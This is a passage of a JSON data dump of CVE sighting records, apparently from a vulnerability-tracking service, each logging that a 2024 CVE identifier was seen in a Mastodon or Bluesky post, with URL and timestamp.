"CVE-2024-12897", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699093986719156", "content": "", "creation_timestamp": "2024-12-22T23:34:52.719531Z"}, {"uuid": "82f28aaa-bd29-4b33-a77d-02d9040577f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12897", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwnn2fov725", "content": "", "creation_timestamp": "2024-12-23T00:15:49.681541Z"}, {"uuid": "507d0e19-868c-467b-9661-59c4d5e6ef58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12898", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699266370607040", "content": "", "creation_timestamp": "2024-12-23T00:18:42.855985Z"}, {"uuid": "d1734de3-f832-43da-a49b-aa28b9a5e70f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12899", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699339260959339", "content": "", "creation_timestamp": "2024-12-23T00:37:14.887369Z"}, {"uuid": "dddc2c4b-45c4-43d5-a7a7-b497493c4479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12899", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699351878694966", "content": "", "creation_timestamp": "2024-12-23T00:40:27.453107Z"}, {"uuid": "b495dd9c-62f6-4bfd-abbd-fe60dfe395f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12898", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwqxoqdyx2m", "content": "", "creation_timestamp": "2024-12-23T01:15:27.620740Z"}, {"uuid": "39543908-ca9a-4f89-9f6d-7fdcd1721842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12899", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwqxrkccs25", "content": "", "creation_timestamp": "2024-12-23T01:15:30.583538Z"}, {"uuid": "4c618219-d39e-4299-84b5-13999f260fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12900", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699578003614107", "content": "", "creation_timestamp": "2024-12-23T01:37:57.691720Z"}, {"uuid": "8e72c03d-9f77-4861-9255-b8e1c7f60b29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12901", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699706288445746", "content": "", "creation_timestamp": "2024-12-23T02:10:35.186518Z"}, {"uuid": "2ce71c0c-7a6b-4048-bad2-fac990675612", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12900", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwuczi57k25", "content": "", "creation_timestamp": "2024-12-23T02:15:29.643125Z"}, {"uuid": "1756705f-b6b1-4f78-9f0f-17a14f46c183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12901", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwud3tos42m", "content": "", "creation_timestamp": "2024-12-23T02:15:32.044605Z"}, {"uuid": "6cfb1fd1-d995-4d4d-86ee-f749916595d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12902", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113701665986684770", "content": "", "creation_timestamp": "2024-12-23T10:28:57.880101Z"}, {"uuid": "f8dfe3bc-0822-4cc0-bf35-11f7341e8a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12902", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldxsiluiq425", "content": "", "creation_timestamp": "2024-12-23T11:15:29.249791Z"}, {"uuid": "3d3421c1-b61a-48ac-9b70-d6f4fed271ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ldxuwyenwd2l", "content": "", "creation_timestamp": "2024-12-23T11:59:19.418856Z"}, {"uuid": "906e25e1-5573-42fb-934d-fe55a3eb8796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12903", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113702238404448794", "content": "", "creation_timestamp": "2024-12-23T12:54:32.249557Z"}, {"uuid": "27c16c0e-78ee-408a-8ccc-43006e10f089", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12903", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldxz72amfl22", "content": "", "creation_timestamp": "2024-12-23T13:15:24.254731Z"}, {"uuid": "08031de2-86a3-4c18-84b3-9019361a180c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12582", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705709008355890", "content": "", "creation_timestamp": "2024-12-24T03:37:09.477611Z"}, {"uuid": "b15878ae-33ea-4325-9baf-48bda99d0ed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12582", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzli7bp5a2i", "content": "", "creation_timestamp": "2024-12-24T04:15:18.770948Z"}, {"uuid": "d9409578-bd7d-452f-abc3-d43cbf5ae6a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12266", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705931125851703", "content": "", "creation_timestamp": "2024-12-24T04:33:38.795389Z"}, {"uuid": "01695ad6-e45f-4630-96bf-3448990896fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12507", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705931141640288", "content": "", "creation_timestamp": "2024-12-24T04:33:39.001985Z"}, {"uuid": "a173c92c-4bdb-43ed-bb71-90bcb4ef072f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12518", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705931156683699", "content": "", "creation_timestamp": "2024-12-24T04:33:39.286605Z"}, {"uuid": "d0025929-010d-48e0-8f29-724a66185875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12617", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705931190547781", "content": "", "creation_timestamp": "2024-12-24T04:33:39.653305Z"}, {"uuid": "c2f21d37-2929-4298-8c25-7c6ceb3b3fff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12266", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705944355832590", "content": "", "creation_timestamp": "2024-12-24T04:37:00.574078Z"}, {"uuid": "5c24ddae-b513-44d1-af7f-6d6713cac842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12507", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705944371738030", "content": "", "creation_timestamp": "2024-12-24T04:37:00.922890Z"}, {"uuid": "256f5e32-f1d0-45f3-9c26-e2a157753193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12518", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705944388003062", "content": "", "creation_timestamp": "2024-12-24T04:37:01.120442Z"}, {"uuid": "d5340fbe-1909-4d37-8d1f-2db54f2d965e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12617", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705944402586236", "content": "", "creation_timestamp": "2024-12-24T04:37:01.387361Z"}, {"uuid": "c766f81f-61ec-4f98-904f-3f218f001f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12710", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706003447641304", "content": "", "creation_timestamp": "2024-12-24T04:52:02.453169Z"}, {"uuid": "ed12196d-a672-406d-8520-99d3210d399d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3ldzoh4acss2i", "content": "", "creation_timestamp": "2024-12-24T05:08:26.032651Z"}, {"uuid": "5b70adda-151a-478f-a6c5-d03a1f888f9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12266", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzotk7pkg25", "content": "", "creation_timestamp": "2024-12-24T05:15:20.791377Z"}, {"uuid": "50c15b34-52d1-4d67-bcdf-aed48ab2badd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12507", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzotmuces2f", "content": "", "creation_timestamp": "2024-12-24T05:15:23.202066Z"}, {"uuid": "77f29305-7fe3-41e4-ac3f-ba7d99528851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12518", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzotp5jsw22", "content": "", "creation_timestamp": "2024-12-24T05:15:25.575744Z"}, {"uuid": "1df50d88-e61d-466c-a5f0-ba1c4601172a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12617", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzotsa7zg22", "content": "", "creation_timestamp": "2024-12-24T05:15:28.685237Z"}, {"uuid": "9abd783b-ac2a-440d-8048-0c9fb0e80f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12710", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzotujjzs2f", "content": "", "creation_timestamp": "2024-12-24T05:15:31.503815Z"}, {"uuid": "650cb21d-d11e-49d8-b13c-fb8b8122aafb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12100", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706144897456986", "content": "", "creation_timestamp": "2024-12-24T05:28:00.687804Z"}, {"uuid": "0753f768-a2db-40eb-998f-6f4f4384e6b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12210", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706144911930667", "content": "", "creation_timestamp": "2024-12-24T05:28:01.201665Z"}, {"uuid": "76ff009d-90ff-4dc2-be75-00d8f64b8038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12034", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706144883033970", "content": "", "creation_timestamp": "2024-12-24T05:28:01.239444Z"}, {"uuid": "cc5149af-6cbe-4964-9939-5427dc37c15b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12405", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706203913779612", "content": "", "creation_timestamp": "2024-12-24T05:43:01.117804Z"}, {"uuid": "a1bed3b6-817d-4aa8-8424-58cfa9edaf44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12594", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706203929481650", "content": "", "creation_timestamp": "2024-12-24T05:43:01.436038Z"}, {"uuid": "75eb4b84-8362-48ca-8291-49f9a1313c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12622", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706203946762939", "content": "", "creation_timestamp": "2024-12-24T05:43:01.536041Z"}, {"uuid": "2fa02f4c-9b01-4c7f-a59a-da91ea29b299", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12096", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706276341258936", "content": "", "creation_timestamp": "2024-12-24T06:01:26.242701Z"}, {"uuid": "a9164a18-0c67-4b8b-8908-914cbe735f79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12034", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzs7onqo32f", "content": "", "creation_timestamp": "2024-12-24T06:15:48.874950Z"}, {"uuid": "ec654f1c-72b2-4b60-a73a-3b37e9c92a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12096", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzs7r2ere22", "content": "", "creation_timestamp": "2024-12-24T06:15:51.348984Z"}, {"uuid": "f6ae0835-2e34-426b-899e-ccb545c98625", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12100", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzs7tqf2l25", "content": "", "creation_timestamp": "2024-12-24T06:15:54.057222Z"}, {"uuid": "dcd84c98-de7d-400b-a038-8f97fb02c6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12210", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzs7vtf2o2i", "content": "", "creation_timestamp": "2024-12-24T06:15:56.324295Z"}, {"uuid": "ebe988ce-5ab0-4e06-a3bc-9b01ba44d4fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12405", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzs7xvozp22", "content": "", "creation_timestamp": "2024-12-24T06:15:58.558613Z"}, {"uuid": "18a17e7e-061d-4bb3-8e69-79bd4e32d007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12594", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzsa2ubio2i", "content": "", "creation_timestamp": "2024-12-24T06:16:01.552863Z"}, {"uuid": "86e56fe6-65c6-4518-b62c-c55f7e6c474e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12622", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzsa52ir422", "content": "", "creation_timestamp": "2024-12-24T06:16:04.030331Z"}, {"uuid": "b8c8b0c2-6b29-4925-9706-57a3135d3cf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12814", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706528430346312", "content": "", "creation_timestamp": "2024-12-24T07:05:32.939776Z"}, {"uuid": "bb58e27a-bd81-4e38-9d09-0e5a01eff3eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12814", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzvkbckwp2k", "content": "", "creation_timestamp": "2024-12-24T07:15:25.264574Z"}, {"uuid": "1db0278d-8a69-401a-8bf0-081fd8afee48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ldzyw5arpt2l", "content": "", "creation_timestamp": "2024-12-24T08:15:46.638731Z"}, {"uuid": "82b4d60f-38cc-493e-add0-ad47b7348430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12468", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706832024562575", "content": "", "creation_timestamp": "2024-12-24T08:22:45.637633Z"}, {"uuid": "da1fbea3-bb86-4c6d-a700-122d63a30d6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12468", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le24ay3j2f2a", "content": "", "creation_timestamp": "2024-12-24T09:15:30.031137Z"}, {"uuid": "16b7cb8c-4b6b-43b3-a9f8-752f03848ad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12031", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113707092022211221", "content": "", "creation_timestamp": "2024-12-24T09:28:52.654235Z"}, {"uuid": "3be7ddb7-ebbd-4450-8456-4cb2f601d35f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12103", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113707092038057937", "content": "", "creation_timestamp": "2024-12-24T09:28:53.162304Z"}, {"uuid": "b3d29ec8-4364-4cad-b96b-f49779219e7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12850", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113707092053678320", "content": "", "creation_timestamp": "2024-12-24T09:28:53.219601Z"}, {"uuid": "52947926-b9d6-4e46-a9a4-83b57bc663f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12881", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113707092068105611", "content": "", "creation_timestamp": "2024-12-24T09:28:53.413864Z"}, {"uuid": "34fd905d-faaa-4a1f-a7c0-29f0d6bb8d37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12031", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le27maewy22a", "content": "", "creation_timestamp": "2024-12-24T10:15:28.846800Z"}, {"uuid": "9e94d16b-304a-40c4-990d-dd1c170e1e12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12103", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le27mcmc6k2a", "content": "", "creation_timestamp": "2024-12-24T10:15:30.971631Z"}, {"uuid": "ef820b7d-3081-4843-b499-184ef7eab001", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12850", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le27meyl7h2k", "content": "", "creation_timestamp": "2024-12-24T10:15:33.469394Z"}, {"uuid": "90d86f3f-8fe3-434f-b8f7-6f4e04b681d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12881", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le27mhgaws2a", "content": "", "creation_timestamp": "2024-12-24T10:15:36.090846Z"}, {"uuid": "3dc16d99-32e3-4813-acec-59c77911c631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12268", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113707496994951486", "content": "", "creation_timestamp": "2024-12-24T11:11:52.127245Z"}, {"uuid": "29583d63-0229-4788-87fc-7ca9ed57b6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12268", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le2cxt3kgj25", "content": "", "creation_timestamp": "2024-12-24T11:15:38.670226Z"}, {"uuid": "c4173911-1faf-4bf0-bcf0-d1c5e0f7ceb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113708106021039311", "content": "", "creation_timestamp": "2024-12-24T13:46:44.905019Z"}, {"uuid": "98e7bda7-98d3-4883-ae7a-822861b3af5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113708724559281732", "content": "", "creation_timestamp": "2024-12-24T16:24:03.093667Z"}, {"uuid": "5d43bf83-bfb3-4cdb-8ca1-574fb73d470a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113708724574832048", "content": "", "creation_timestamp": "2024-12-24T16:24:05.541928Z"}, {"uuid": "135a1a05-63f0-435b-977c-1ce590231830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113708724590672241", "content": "", "creation_timestamp": "2024-12-24T16:24:05.854814Z"}, {"uuid": "f9d4b4f3-e422-4aef-9e5a-e5412e3df91a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le2x36pzu32l", "content": "", "creation_timestamp": "2024-12-24T17:15:27.121102Z"}, {"uuid": "305351c6-6618-401c-9637-0266599ee592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le2x3atkgk2a", "content": "", "creation_timestamp": "2024-12-24T17:15:29.839228Z"}, {"uuid": "ded87d91-0b0c-4cf3-816b-99a202dae525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le2x3d3xrd22", "content": "", "creation_timestamp": "2024-12-24T17:15:32.338315Z"}, {"uuid": "e05c65df-e78e-4b89-8347-7062cb3ce319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12633", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785617297322078", "content": "", "creation_timestamp": "2025-01-07T06:18:53.210781Z"}, {"uuid": "d690e9b9-e3d7-46e1-a240-961029773172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785617281381888", "content": "", "creation_timestamp": "2025-01-07T06:18:53.560667Z"}, {"uuid": "f81c7ed8-2bd9-426d-ac0f-b7c627c7b419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113792339283857457", "content": "", "creation_timestamp": "2025-01-08T10:48:23.257744Z"}, {"uuid": "0105812a-a948-49bd-9024-0f13e15b8453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12472", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgqknisxw2m", "content": "", "creation_timestamp": "2025-01-11T03:15:57.823076Z"}, {"uuid": "b8b97388-97df-4b28-b7d3-f759f7c9c584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12627", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgqks4d3f2k", "content": "", "creation_timestamp": "2025-01-11T03:16:02.136429Z"}, {"uuid": "9a6bf970-b4d3-4b05-b9fc-995d1783b579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12854", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113792339330615108", "content": "", "creation_timestamp": "2025-01-08T10:48:24.493987Z"}, {"uuid": "ed20bd42-c9b2-4add-8f44-6d0650de15c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12438", "type": "seen", 